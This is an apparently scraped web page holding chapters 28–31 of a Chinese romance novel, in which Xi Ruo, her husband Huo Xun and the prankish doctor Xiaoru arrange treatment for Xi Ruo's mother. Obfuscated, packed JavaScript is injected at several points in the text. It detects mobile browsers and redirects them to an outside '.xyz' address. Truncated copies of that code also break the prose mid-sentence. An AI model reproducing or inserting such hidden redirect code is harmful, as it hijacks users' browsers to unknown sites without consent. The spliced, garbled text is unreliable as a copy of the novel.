;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646489|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,低头吃饭。霍恂坐在对面,看她低着头,自己想了想,回头让侍女再上一份,然后拿起小汤匙,将那份甜酪用了两口。 息偌瞧见了,心里非常满意,面上不动声色,装作不经意地问他道:“我还不清楚,你到底是什么病?将来一起生活,我好注意些。” 霍恂道:“我母亲怀孕时,朝中有些动乱,我父亲也涉身其中,她日日忧思,后又早产,所以我生来就弱,并不是什么确切的病症。” 他反倒笑一笑,安慰她似的,道:“不用你来为我注意什么。关大夫这些年一直跟在我旁边,药方和膳食都是随见随调的,已经很不错了。” 息偌记得这位关大夫,虽不曾说过话,但是行动时遥遥遇见一回,当时侍女们给她介绍过。 她没见过他给霍恂看诊,不知道他医术如何,但总觉得,天下名医无数,这位关大夫的名号似乎也并不十分响亮。 她问道:“他是你在清都寻的大夫?” 霍恂点头称是。 息偌于是道:“你眼下既然回京了,要不要再寻些其他大夫来瞧瞧?宫中的太医都是圣手,民间也有不少名医。你若是觉得身份不便,我在我这边找个脸生的护卫,出去替你请来,也是可以的。” 霍恂问道:“息家用哪个大夫?” 息偌道:“宫中有一位太医与我家交好,引荐了他一位师弟,一直都是请那位大夫来看的。” 霍恂于是道:“那就是甚少去寻生人了,总也不便利。” 息偌明白他的意思了。 大夫这个行当,能救人就能害人,不是相熟又有本领的,轻易也不敢用。尤其他眼下是初到京城,处处都小心谨慎,甚至还遇到刺杀受伤,自然是不敢轻易找什么其他大夫来用的。 息偌于是也不再多说什么了,只是道:“那就继续请关大夫看着罢。不过,若是回头我遇上不错的大夫了,你也试一试。” 霍恂道:“这位关大夫,是药王谷的弟子。若是他都不成,那就没有更合适的了。” 他挑眉问道:“你是怎么了,要去寻大夫?” 息偌道:“不是我用,是我母亲,有些老毛病在身上,但是息家那位惯用的大夫此道研究不深,一直也只是疗养。如今我成家,出去也便利些,打算替她多打听打听……” 她说到此处,突然抬眼看向霍恂,试探道:“你能不能……” 霍恂的目光正就落在她脸上呢,此刻目光相接,他忽然就笑了笑,道:“成啊,关大夫从前手下带过一位女弟子,很擅妇科,年纪虽轻,医术却高。我回头与关大夫说一声,叫那女弟子往咱们府上来一趟,你带着回息家去。” 他问道:“明日怎么样?正好要归宁,浩浩荡荡的一行人,多一个也不打眼,看你方不方便?” 息偌连忙点头道:“我当然没什么不便的,只是这位大夫可方便吗?明日就去,她会不会来不及?” 霍恂道:“没什么不便的。她眼下也在宁都,传个信儿给她就是了。” 他意味深长地看着息偌道:“夫人有所请,我自然是要竭力办好的。” 28. 用毒 息偌被他看得脸烫,低下头去喝汤遮掩,喝了两口又按捺不住心里的好奇,抬头问道:“宁都有擅长此道的女大夫,早该被各家夫人请过许多回了,我怎么从来没听我家中女眷说过?” 霍恂道:“她以前不在宁都,偶尔跟着关大夫学习,偶尔就自己出去游历。我原本也是不知她在何处的,只是之前在宁都见了一次,才知道她比我早一个月到了宁都。” 他说罢笑道:“这也是巧了,她是在一个地方坐不住的性子,原本早打算走了,若不是听说我要娶妻,想要看看我成家,也留不下来,正好被你得去一用。” 息偌听着很不对劲,疑道:“你与这位大夫很熟?” 霍恂抬眼觑她,一听就知道她想到哪里去了,便道:“熟啊。死孩子从小爱闯祸,把她师父珍藏多年的剧毒下到药碗里,打算将人毒翻了好自己上手挑战一番,试试自己的能耐,最后还是我替她托的底。” 他口吻很凉,一听就没有半分暧昧,息偌心中方才升起来的那一点犹疑也立刻被打消。 她问道:“后来呢?怎么处理的?” 霍恂道:“关大夫来救的人,把自己压箱底的宝贝都搜罗齐全了,这才将人保住,此后看着一贫如洗的药袋子日日长吁短叹,将这死孩子从早打到晚上,后来她受不了,跑了大半年,又给关大夫搜罗回来一袋子才作罢。” 息偌听完就笑了,笑了一声又觉得有点缺德,连忙忍住了,问道:“这人也太倒霉了。” 霍恂道:“你猜这个倒霉的是谁?” 不会是……他? 息偌执筷的手顿住了。 霍恂微叹一声,道:“不过你放心,她虽性情皮了些,但是手底下是有真本事的,替人看病,不会没轻没重胡作非为。再加上如今在宁都,有关大夫看着,你可以放心用。” 大抵这些行事剑走偏锋的,都是腹中有些真货,才敢如此行动。息偌听着就觉得这位大夫厉害,但是眼看着一位受害者坐在自己对面,又觉得他有些惨了。 她问道:“那你怎么样?” 老天,他本来就身弱,再中一回毒,不知道要被折腾成什么样子。他眼下成日里喊着自己将来要死了,不会就是因为这回中毒留下病根了罢? 霍恂对她的关怀很是受用,答道:“关大夫箱底都空了,自然是治好了,否则我母亲就留下我一个孩子,我父亲岂能放过她这般胡闹?” 息偌觉得这事似乎结束得有些轻率了,问道:“所以你白遭了一回罪,你父亲什么也没说吗?” 若是当父亲的都不为他出头,那他是不是也太可怜了些。 霍恂道:“我父亲还赏她呢。说来也是巧合,我当初身体不好,年岁又轻,关大夫不敢对我擅自用重药,总是反复斟酌。有她这么一推,倒逼得他退无可退。如此以毒攻毒,反倒还好了些,也算是因祸得福了。” 息偌捧着碗,好奇心上来了,道:“你越说,我倒越想见了。这么大胆、医术又这般高超,一定是个奇女子。” 霍恂轻嗤一声,显见得是不赞同。 他们说着闲话用完了午饭,霍恂叫人将空的碗碟撤走,息偌则叫了小盼进来,让她去拿单子。 霍恂在外头叮嘱完豆蔻去寻关大夫,进来就听见她说这话,便问道:“你昨日那么辛苦,今日又早起去宫里,这会儿还能有力气理单子?” 废话,当然没力气。 息偌瞥他一眼,反问道:“那怎么办?我东西那么多,总是要好好整理一下的。不然明日要顾着归宁,又没时间去弄,这么一拖好几日,像什么样子?” 霍恂听笑了,道:“我府上又没有长辈,你就不成样子些又能怎样?横竖你才是女主人,东西堆着就堆着了,堆个十年八年的,谁还敢说你不成?” 息偌无语地看着他,道:“没人说我是没人说我,你不能体面点吗?我这是给你赚主人家的面子,免得底下有仆从嘴上不说、心里却看低你这个主家。” 霍恂抱着臂靠在屏风边看她,道:“仆从也都是跟惯我的,宫里来的那些也都有分寸,我都不说你什么,他们敢有什么意见?” 息偌拨开他,道:“你得了罢,只会嘴上说这些。从前单身无官不觉得,如今你成了婚,将来再进了官场,往来的应酬多着呢。那些女眷进了家门,目之所及都是我平日里的治管,看一眼就知道你家里是个什么规矩。” 霍恂跟着她的脚步转身,笑道:“那我可得给他们都好好说一声,让他们皮再紧些、做事再利落些,免得犯错招惹了夫人的眼。” 息偌连忙道:“你少在下人那边胡说八道,不知道的还以为我是个多严苛的人,尽毁我名声!” 成婚之前,霍恂也没少做功课。息家管教子女,没有不读书的,息偌在息家自己的房间里,也是拿架子单打了个小隔间,给她放桌椅书本的。 是以霍恂搬到这边府上以后整理布置,特地给管事提了一句,让在居处给她摆了一张小案,还将住处旁边的那个小间给她打通,专给她做书房。 他自己的书房都在外头,她这边倒很是方便。息偌来时就发现了,心中对此布置还开心满意了许久。 眼下,霍恂看着她真往书桌前头去了,立刻上前两步拉住她,问道:“你还真要现在就理?” 息偌挑眉道:“不然呢?” 霍恂无奈道:“知道你带过来的东西,先时我特地让管事腾了两个大库房出来,先将东西都搬进去了,钥匙也交给了你那边的管事妈妈。那东西理清楚也要时间,总之有你的人先照管着,你这会儿费什么劲?先去睡会儿养养神。” 他手下用了些力气,拉着她往榻上去。 小盼往里面走,一进来就看见二人一并往床榻边去,霍恂还拢着她的肩将她按在了床上。她吓了一跳扭头就往外走,不仅将跟进来的豆蔻茯苓拦住了,还把门关上了。 息偌坐在床上,看见外头那三个侍女的表情,又踢了霍恂一脚,气道:“才与你说过,青天白日的,你就来坏我名声!让她们看着像什么话?” 霍恂嘶了一声,道:“你这爱踢人的毛病怎么养的?” 他有些无奈道:“你我都成了婚了,有什么又怎么了?这都是内院近身的人,谁还能将话传到外头去不成?你少拿这话冤枉我。” 息偌扁扁嘴,想着事已至此,自暴自弃地蹬了鞋,飞快将脚缩进裙子里往床榻里坐好,道:“行了,我要午休了,你出去。” 霍恂立在原地没动,问道:“我能出去吗?” 息偌问道:“你有什么不能出去的?你还要在这里盯着我睡觉不成?” 霍恂故意道:“我昨晚没在,你今晨便一直与我发脾气,怨恨成婚第一日,我就没给你做主母的脸面。眼下我是吃了亏的,可不敢轻易出去。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雁行这下跑过来了,拍着息忍的肩让他放手,然后将小茹从地上捞了起来,替她拍了拍裙角的灰,道:“小姑奶奶,你就不能好好走正门吗?这好歹是在京城,你被按了不冤知道吗?” 小茹气冲冲地盯着息忍,雁行在旁边打圆场,道:“好了好了,不打不相识嘛,认识一下。这位是小茹大夫,是关大夫的爱徒,侯爷特地请过来的。这位是息忍息公子,咱们夫人身边的侍卫,他也是恪尽职守,不是故意要为难你。” 息偌这一觉睡的时间久了些,一醒来刚刚穿戴好,就听到外头隐隐的叫嚷声。她好奇地往外走去,才跨出了房门,看到另一边霍恂也走出了书房。 他脸色不大好看,声音提高了些,道:“雁行!拎走!” 息偌不解所以,但看到了息忍似乎也站在院子门外,于是叫小盼过去问问。 霍恂看到了息偌,脚下顿了顿,往她这边走来,道:“那祸星来了,你不用管,我让人去看着。” 息偌用饭时已经抓着他问了许多事了,此刻一听,眼睛亮起来,道:“是小茹大夫来了?那还拦着做什么?快请进来呀。” 外头的人似乎也知道里面都听见这些动静了。小茹从门口探进一个脑袋,看着息偌这边笑着招手道:“嫂嫂好呀!” 29. 不行 小茹这样的暴脾气,是吃不了一点亏的,所以雁行才第一时刻出面,放低姿态来哄这位小姑奶奶。 但是小茹和息忍,两个都是一身硬骨头,一个吃了亏要找补,另一个觉得自己行事没错,就此便有了矛盾。一个是牙尖嘴利喋喋不休,另一个话虽不多却句句毒辣,吵不起来都不像话。 雁行听着颇头疼。 从某种程度上来说,息偌叫小茹进去,也是救了他一条小命。 但小茹自打蹦蹦跳跳跑进了这间院子,立刻就仿佛换了一张面孔一样,立刻就变得十分乖巧可爱。只可惜她穿得毛茸茸的,此刻沾了泥土灰尘,有些像在泥坑里打完滚后冒出来的灰兔子。 她冲着息偌跑过来,伸手就要抱她,被霍恂眼疾手快挡在息偌前面推开了。 雁行随后过来拽住了小茹,霍恂这才嫌恶地收手道:“你没正事做了?这会儿就过来捣乱?” 小茹也知道自己身上脏,没硬往息偌身边凑,甩着胳膊把雁行推开了,这才仰着下巴道:“小霍!你搞搞清楚,是你让我师父请我过来的,可不是我硬要过来闹你的。你对我态度不得客气点儿吗?” 霍恂嗤道:“你当我乐意叫你来?” 小茹瞪他一眼,又迅速变脸,看着息偌笑嘻嘻道:“我知道,是我的好嫂嫂叫我来的嘛。嫂嫂你放心,有什么毛病包在我关小茹身上,我可厉害啦,药到病除!” 霍恂侧首对息偌道:“她姓茹,不姓关,这么说是为了闯出祸以后让关大夫替她收拾烂摊子,不用信。” 小茹不满道:“你别拆我台啊!我可是想给嫂嫂留个好印象的。” 霍恂继续对息偌道:“这话你倒是得记得,她乖乖巧巧叫你嫂嫂,这都是装的。她从来没叫过我兄长,真面目对人很不客气的。” 小茹再一次闹起来,倒是看得息偌噗嗤一笑。她本就对这个小大夫心存好奇,此刻见她活泼,心中更添亲近,道:“好歹是请来的客人,这样算怎么回事?” 她往那边门前看,道:“这是我请来的客人,你赔个不是,我替你说情。” 如今主院有了女主人,雁行和息忍都是不往院子里去的,若不是此刻霍恂让雁行进来拉着小茹,他也不会进来。 息忍一直站在门口看着这边,见息偌吩咐了,便拱手道了歉,退了下去。 其实息偌不是责怪他,自家人有什么好责怪的,不过是自己退一步,给个台阶罢了。小茹脾气暴躁,但不是不懂人情世故,既然有了这个面子,不至于非要闹个不停。 她笑眯眯地道:“嫂嫂人真好。” 息偌绕过霍恂,主动过去拉小茹,道:“大冷的天,衣裳脏了怎么穿,进来换一身。” 这下霍恂就不便进去了。 小茹跟着息偌走进屋中,与霍恂擦肩而过的时候,还不忘吐一吐舌头给他做个鬼脸,彰显一番自己的胜利。 息偌的衣裳原本就多,为了成婚又做了好几身。小茹毕竟是客人,总不能拿侍女的衣服给她,小盼就进去收拾了一套息偌的衣裙出来。 息偌就是这个意思,也不至于护食到连一套新衣服都舍不得,大大方方地将她拉到屏风后头,将新衣服递给了她。 倒是小茹,这些年没少见达官显贵,有了眼界,自然也能分得出好坏。她一见这衣裳就知道是息偌的东西,压根就没伸手,直接道:“嫂嫂快换一身给我罢。我性子皮,成日里爬高上低的,要么在泥地里挖药材,要么在药房里熏一身苦味,这样的好裙子都浪费了。” 息偌笑道:“我今天虽是第一次见你,但却很喜欢你的性格,想与你好好交个朋友。你是来帮我大忙的,我岂能连一身衣裳都舍不得?” 她将衣裳递过去,道:“我看你身上这件倒是利落,你若是喜欢这样的,我将来给你也备几身。只是我话说得直白些,宁都城是天子脚下,免不了拜高踩低的眼光作风。你往来在贵胄家里,也得给自己撑个场面,免得别人不知所以低看了你,说难听话让你受气。” 她笑着道:“你难道还能回回都与对方打上一回、吵上一架?那多费力气。” 小茹依旧没收,反手将自己背上的包袱甩到前头来给她看了一眼。 她笑道:“嫂嫂的好意我领了,但这衣服实在穿不惯,我用自己的罢。嫂嫂要是能帮忙,给我寻两条发带罢?我头上这条脏了。” 息偌于是点头应允,转身出去,给她留下了换衣的空间。 小茹动作很快,迅速就将衣裳换好出来。息偌让小盼去拿她的旧衣清洗一番,小茹也没推辞,笑着称了谢,就跟着息偌到水盆边,去把弄脏的鬓发和发尾洗干净。 她身上换的这身衣裙用料也好,不过剪裁简单,很不出挑,是个极低调的款式。息偌瞥了一眼,就知道自己还是疏忽了。 她的那些衣裙,身量尺寸虽够,但却实在是不大适合给她穿。 小茹自己动手,将头发洗好,捧着巾子坐到旁边擦,一边擦又一边同息偌说话。 她道:“我师父来信叫我的时候,将事儿大抵给我说了。这也不难,只是有一件要嫂嫂帮忙——我眼下有些不便,不好在人前太过瞩目,所以明日虽与嫂嫂同去,但最好还是掩人耳目才好。到了息家,也最好不要见太多人,最好是只在内院见夫人就够。” 息偌虽不解原由,但却没有多问,答应道:“这个不难,我都好安排。到了息家,除却我母亲身边几个近身的妈妈和侍女,其余的都能屏开。那些都是用久的家生子,嘴严,行事也有分寸,小茹大夫请放心。” 小茹点点头笑道:“嫂嫂与我客气什么?叫我小茹就好了。夫人是什么毛病,嫂嫂与我先说说?” 其实息夫人也不是什么大的毛病。只是当年怀着两个孩子的时候,息家状况并不太好,息檀作为长子,自然顶在前头,她也就跟着操劳了许久。 怀的时候没养好,生的时候也没养好,虽然两个孩子都健健康康,但她却落下许多生产后的病根,尤其容易腰酸背痛。 这也是为什么,虽然他们夫妻恩爱,之后息檀却再也不肯让息夫人再多添 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671808|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子嗣的原因。 小茹提到正事,脸色便认真许多,待听完了便道:“世家里的许多娘子,为了养身,常也有早成婚晚圆房的,只是妇人生产,总是要受许多罪。夫人毕竟都过了这么久了,肯定也不能一时便好,必然是要久久调养。我明日且先去看看,再说如何调理。” 息偌立刻道谢。 小茹问完正事,又变成笑嘻嘻的模样,还凑到了息偌的身边去坐着。 她靠近她,问道:“小霍对嫂嫂怎么样啊?昨晚新婚,没有欺负嫂嫂罢?” 哪有人这么直白地问过息偌这些,她的脸蹭一下就红了,连忙道:“怎么突然问这些?” 小茹摆摆手道:“嫂嫂别介意,我是个大夫嘛,这种事见得多了,不觉得是隐晦事。不过嫂嫂,他这人顶顶会装模作样扮猪吃老虎,见着你这种心软好说话的,他就爱装可怜。你可千万别惯着小霍,别让他得逞了,该拒绝就拒绝,该要就要,自己舒服最重要!知道吗?” 她说得义正辞严,越想越觉得霍恂必然会装可怜然后狠狠欺负息偌,越看越觉得息偌就是那种受了委屈也不敢声张的小可怜,说着说着,把自己都要说生气了。 息偌差点都要去捂她的嘴了,慌不择路道:“别说了,这都没有的事儿……” “没有???” 小茹更惊讶了,直接站起来道:“霍恂他居然不行?” 她这声音大了些,吓了息偌一跳。息偌连忙站起来回头看了一眼,看外间没人,这下终于捂住了她的嘴,压低声音焦急道:“快别说了,这都没有的事儿。我们就是正常夫妻呀,哪里有什么……” 她也不知道该怎么说了,越说越不知道怎么措辞,干脆道:“快别说了!” 但是小茹心里已经完全沉浸在自己的判断里无法自拔了。 她理解了息偌的害羞,也心疼起息偌的可怜。她将她手拉下来,压低声音,很是同情地看着她问道:“嫂嫂,你放心,我不会出去胡说的,但你得跟我说说呀——是哪种不行?若是办法不行,让他多学学,这也不难。若是东西不行,趁他年轻,赶紧让我师父治一治……这得早治!不然老了许多麻烦连累你呀!” 息偌觉得自己没救了,捂着耳朵就往外跑。 小茹越来越可怜息偌了,追着出去道:“讳疾忌医可不是好事呀嫂嫂!” 霍恂在外头,听见息偌跑出来的声音,脸色当即沉下来,大步跨进房门去要找小茹算账。息偌见着他过来,连忙扑过去求救道:“你快来说清楚,快来救救我罢!” 她整个人扑到了霍恂怀里,带着一阵清浅的香气一起撞了他满怀。霍恂此刻却来不及分神了,连忙扶住她护到自己身后,看她拼命躲着小茹,便拉着脸转过身斥道:“你又在里头闹什么了?” 小茹本来是要追息偌好好给她讲讲道理的,此刻见她躲到霍恂怀里,于是便停了下来,露出一种很是恨铁不成钢的眼神看着霍恂,遗憾地摇了摇头。 “小霍,早说你不能用,我师父怎么不救救你?” 30. 心动 霍恂还是从前在小茹手里吃过的亏太多了,居然此刻这么一听,立刻就明白过来她说的是什么意思了。 他扬起眉,道:“你一日不来生事造谣,一日便不舒坦是吗?” 小茹走过来,痛心疾首地拍一拍他的肩,道:“小霍,我也是看着你长大的,我给你号过的脉也不少,知道你身体是个什么情况。久病之人,各方面都弱于旁人,这也不是什么大事,都是正常的。你放心,也别害羞,眼下有我和我师父在,这都是小事。我们辛苦一点不妨事,你们新婚夫妻,不能为这点小事闹出不快来,是不是?” 霍恂问道:“说完了?” 小茹摇摇头叹道:“哎,你就是打小不爱听人劝。” 霍恂扭头看向外面,有些不耐道:“看够了?还不进来给我把她捆了锁起来?” 小茹一听就觉得不好,她是会些功夫,但的确是打不过雁行呀。雁行虽然平时总让着她,可是若真得了吩咐要对付她,她可是一点赢面都没有。 她立刻就要扑过来拉息偌,反正她知道霍恂宠着护着息偌,她要是拉住了息偌,霍恂总不能拿她怎么办了。 但霍恂将息偌护得滴水不漏,整个人铜墙铁壁挡在前头,硬是没让小茹拉到息偌半分。 他还不忘又喊一声道:“息忍,还不进来救你家娘子吗?” 息偌是待小茹为贵客的,哪怕是此刻怕了小茹,那也不能主动出声喊息忍去捆她。但霍恂和息忍是无所谓的,霍恂开了口,息忍就能动。 这下一左一右的,小茹彻底被拉了出去,房间里终于安静了。 霍恂看息偌仿佛逃出生天虎口脱险一般长吁口气,笑道:“我说什么来着?那死孩子是个祸星,给她三分好脸色,她就能上房揭瓦的。” 息偌这次信了,道:“记住了记住了,你这几天让人帮我看着她罢,我实在害怕了。” 霍恂好笑道:“这可不像你了,居然这么害怕?她说什么了?你说给我听听。” 息偌哪里敢将那些话说给他听,只能含含糊糊道:“也没什么,女孩儿家互相打趣的话。” 她犹豫了一下,道:“算了,你也别真让雁行捆着她,我是请她来帮我阿娘看诊的,这样像什么话?” 霍恂不为所动,道:“我自己有分寸,能治住她别来闹你就行。再说了,雁行未必能管得住她,你要是真发话要放了她,她拿着鸡毛当令箭,就敢在这府里上蹿下跳。” 他错开话题,问道:“你下午做什么?还去理理单子吗?” 息偌看眼天色,道:“天黑的早,就这么会儿工夫,也弄不得什么了。我自己随便去看看罢,后院不是还有管事的仆妇在吗?我去说几句话,看看明日归宁准备的东西,今日就不折腾了。” 霍恂点头道:“成。茯苓与豆蔻,你随便带一个去,她们认识人,在旁边好帮衬你。” 息偌没推辞,应了这句,茯苓跟在她身边,与她一道去简单处理了些事,不多时就到了晚间天黑的时候。 前头豆蔻来请用饭,息偌见手上的东西差不多了,便往回走。房间里霍恂已经坐在了那处,等着她进来一道用饭。 息偌去洗了手,坐在桌前,看见他将手里的邸报放在一边,便道:“你也不必非要等我一起,咱们总也有个大事小事的,剩下一个先吃就是了。” 其实她也不是非要追求夫妻一道用饭不可。早上问霍恂一起,是为了一同去宫里顺路方便,像以后中午晚上各自有事,还能非等到一起去吗? 就如今日,若是前头不来催饭,也许她还要再晚些才回来。 但霍恂似乎就赖定她了,随意道:“还连累他们装两份饭干什么?没大事就一起吃了,稍等等也无妨。” 息偌拿起筷子,又停了停,问道:“小茹大夫呢?不请来一起吃吗?” 霍恂瞥她一眼,问道:“你教训吃够了,又要做她的好嫂嫂了?” 息偌有些为难道:“什么呀,这和吃教训有什么关系?她也就是嘴利了些,心又不坏。你还能一直捆着她,不给她饭吃?” 霍恂道:“你尽管放心,饿不着她,但今天不能放人。” 息忍不忍心,问道:“好歹是个姑娘家,被捆一天多可怜。” 霍恂无奈同她道:“她今天与你说什么了还记得吗?她现在正在兴头上呢,我敢将人放出来,她就敢插手你我的房内事。到时候你是算在她头上,还是算在我头上?” 这下息偌不说话了,老老实实地闭嘴吃饭。 他们说些闲话,无非是想着明天归宁,说些息府中的事,好让霍恂回去之后,见了长辈能自在一些。 “到时候我带着小茹大夫去寻阿娘,你少不得要被我父兄拉走的。他们平日里疼我,若是何处为难了你,也都是为了我,你可千万别记仇。” 她谨慎小心地叮嘱他,说到这里,又觉得亏心,于是又道:“实在不行,你都记到我长兄头上去。” 霍恂被她逗笑了,应道:“成,回头都找他去算账。” 话说到这里,息偌才想起来有一件事一直没问,于是开口问道:“总说你要入朝,你何时才封官呢?” 霍恂道:“总得把婚假过完再说。不过你长兄大约会将文书在手上压一阵子,那就是我要如何与他博弈的事儿了。” 息偌啧啧两声,道:“出师不利啊。” 霍恂挑眉问她道:“那怎么办?你替我去与他说两句好话?或者你去找我岳丈说他几句坏话,最好给他上家法教训一顿,逼得他到不了朝中给我作乱。” 息偌知道他在开玩笑,也没生气,道:“我长兄真挨了家法,也拦不了他要出去的心,你省省罢。” 再者说了,息檀若真能事事都拿住了息停,也不至于成日被他气得吹胡子瞪眼。 霍恂应声道:“成,那我就顺着他的意,正好在家多闲几日,也是养伤了。” 当然,他也只是嘴上这么说。 息停乐意他破局,但不会毫无准备便让他入局。既然他入朝已成既定事实,那就少不得要尽快做好自己的布置。 霍恂入朝越晚,息停能做的准备就越完善,他自然是要想办法拖延此事的。 所以霍恂嘴上说着闲,其实一直没少做准备,实际上,在年前备婚的时候,他就已经开始着手准备为自己入朝扫清障碍了。 息停给他寻麻烦吗?呵,却也未必。 他们两个,未必谁比谁更豁得出去。 更何况,先时今上与他密探时,曾在言语之中有意无意地说过一句十分模棱两可的话。 他息为止的日子也未必能一直安宁。 这是什么意思? 今上对世家不会毫不设防,自然也有自己的布置,可是他与息停彼此既然已经如此了解,还能有什么布置,是息停也不能及时做出防备的呢? 有些深棋,不知道还是最好。霍恂当时权当没听到,很自然地就将话引到了下句,但心里却是记得的。 晚饭用过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686468|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍恂问她,要不要出去散步消消食。息偌让小盼替她拿了披风,又等着霍恂里三层外三层地裹好了,这才一并向外走去。 她颇感慨道:“还是冬天过去了好。” 霍恂问道:“怎么说?” 息偌瞥着他,道:“别人家出门散步消食,我单是站在那里等人穿衣裳的工夫,都够将肚子里这点食儿消完了。还是冬天过去了好,衣裳少穿两件,出门多走两步。” 霍恂想,她倒是敢和自己开玩笑了。 就这么半天,他早上退了半步,说了要诚心赔罪,她下午就敢骑到他头上来试探底线,作威作福。 但他是自己退的,就得认。 “那就盼着春天快些到罢。” 他很是从容地接上了她的话,道:“山青水丰了,咱们走得也再远些,反正太阳落得晚,回来也能看清路。” 息偌听着这话,心里空了一拍。 她匆忙又慌乱地收回眼睛,想,今天不该出来的。 这府上的灯笼亮得漂亮,随着回廊转出的光影绰绰,三步一回,而明月隐于梢头,只有两分鸟鸣。偏他一张面孔生得清隽,拢在寒月冷光里,转折出十分的温柔和软来。 任谁来看到这一幕,听到这样的话,都会没出息地心动一下的。 息偌不会说,但是她心里很无奈地承认,此刻她确实是为这个可恶的霍恂心动了一下的。 她慌乱而仓皇地打破自己旖旎的心思,道:“算了罢,到了那个时候,你可没有这样的闲工夫,等着吃过饭后,还能出来散步遛弯。” 她仰着下巴看向别处,偏就不看他,口中絮絮道:“我长兄必然要给你找一堆麻烦,让文书摞在你案头,将整个人都淹到里头去,让你连抬头的工夫也没有,什么太阳啊月亮啊,草啊花啊的,一样也没时间看,到时候你就不会说这些了。” 霍恂看着她,但笑不语。 她到底是刚来,府上有许多地方,她都还没去过。霍恂引着她往景致不错的地方去,看着距离差不多了,又带着她往回走。等到了住处,正好把握在一个让息偌兴致用极又不至于劳累的程度。 他站在门边,也没进去,隔着一道门槛同她道:“你好好休息,我就先回书房了。” 息偌一路与他闲话,此刻离睡下还早,还以为他要顺路再进来,与自己说一会儿话再走。是以他突然来了这么一句,倒把她说愣了。 但她自然也不可能主动说让他留下的。 她站在门口,问他道:“你晚上还有事要忙?” 霍恂揶揄道:“没什么大事,但不敢进。进去脱了衣裳,换好药,再穿上去书房,怕得花上三四个时辰的工夫,到时候打扰你休息可怎么好?” 息偌无语,瞪了他一眼。 但她还是没让他进,只问他道:“我没去过你书房,那边地龙烧得可好吗?你受着伤,那边能好好休息吗?” 她忽然觉得自己好好的一个人,占了他的卧房,让他一个伤患去住书房,也是挺残忍的。 她道:“要不然,我去我那间小书房睡,你回来睡?” 引狼入室,没半点防人之心。 霍恂笑了笑,直接拒绝了她,道:“我的书房比你那间强多了,你若闲了,何时过来瞧一眼就知道了。” 他书房里放在明面上的,哪有什么是她不能看的东西? 他将门掩起来,同她道:“今晚好好休息罢,夫人。” 莫再说他害得她睡不好了。 31. 归宁 息偌这晚睡得也比寻常早些,次日清早醒来之时神采奕奕,再加上是要回息家去见父母,更是格外兴致勃勃。 小茹早上终于被放了出来,也不知霍恂是怎么管的,总之她当真是服服帖帖地一整晚都没闹到息偌的脸前来。 息偌心中原本稍怀愧疚,看到小茹的时候也一脸心虚,反倒是小茹毫不在意,摆摆手就扭头不知道钻到了哪里去。 她如何进息家,是霍恂那边安排,息偌原本想问,霍恂只道一切都安排好了,她就也没有细问。至于息夫人那边,息偌已经提前一日给传递了口信,所以息家也准备好了接应。 霍恂今日是有意给她长些面子,所以回去的一路上都关怀备至,从下了马车后就处处体贴细心,看得息檀夫妇很是满意。只有息停一个在旁边笑容淡淡,意味深长,细看总觉有几分诮色。 众人在前厅落座,说过一番场面话,息夫人与几位女性长辈便要拉着息偌进去说话。男女就此分席,夫妇俩被各自带去一边。 息偌是这辈第一个女孩,又在父母跟前得宠,这是息家都知道的,是以各方的女性长辈说过几句话,便各自识情识趣地寻了理由离开,留下息偌与息夫人单独说话。 息偌也就念着何时得了空闲,好将小茹引见给息夫人,见众人都散了,便赶紧叫小盼出去问人。谁料小盼才走到门口,小茹便不知从什么地方冒了出来,快速走进了房间里。 息夫人没见过小茹,也没听说过她的名号,眼见着她与自家女儿的年纪不相上下,心中也并不指望她有多么高深的医术。 但既然是息偌的心意,她也就含笑受用了,去了内间让小茹为她看病。 小茹今日在外客面前,与昨日在息偌面前的样子毫不相同,变得很是正经文气,一点都不见跳脱胡闹的小女儿神色。 她仔仔细细将望闻问切走了一整套,给息夫人施了针,教了她一整套自身保养的操练,又写了药方,让息夫人拿去热敷用,这才作罢。 “夫人且按我说的试一试,待过个半月,我寻个空再与四娘子过来一趟,为夫人调调方子。” 她很是一本正经地与息夫人叮嘱了许多,最后确认息夫人与息偌都没什么疑问了,这才起身行礼道:“既然二位都没什么疑问了,我就不打扰夫人与四娘子说话了。还请夫人对我身份保密,我先告辞了。” 小盼送小茹出去,她让小盼不用多送,转个弯就不知道走到哪里去了,小盼见不着她,只能再转回来。 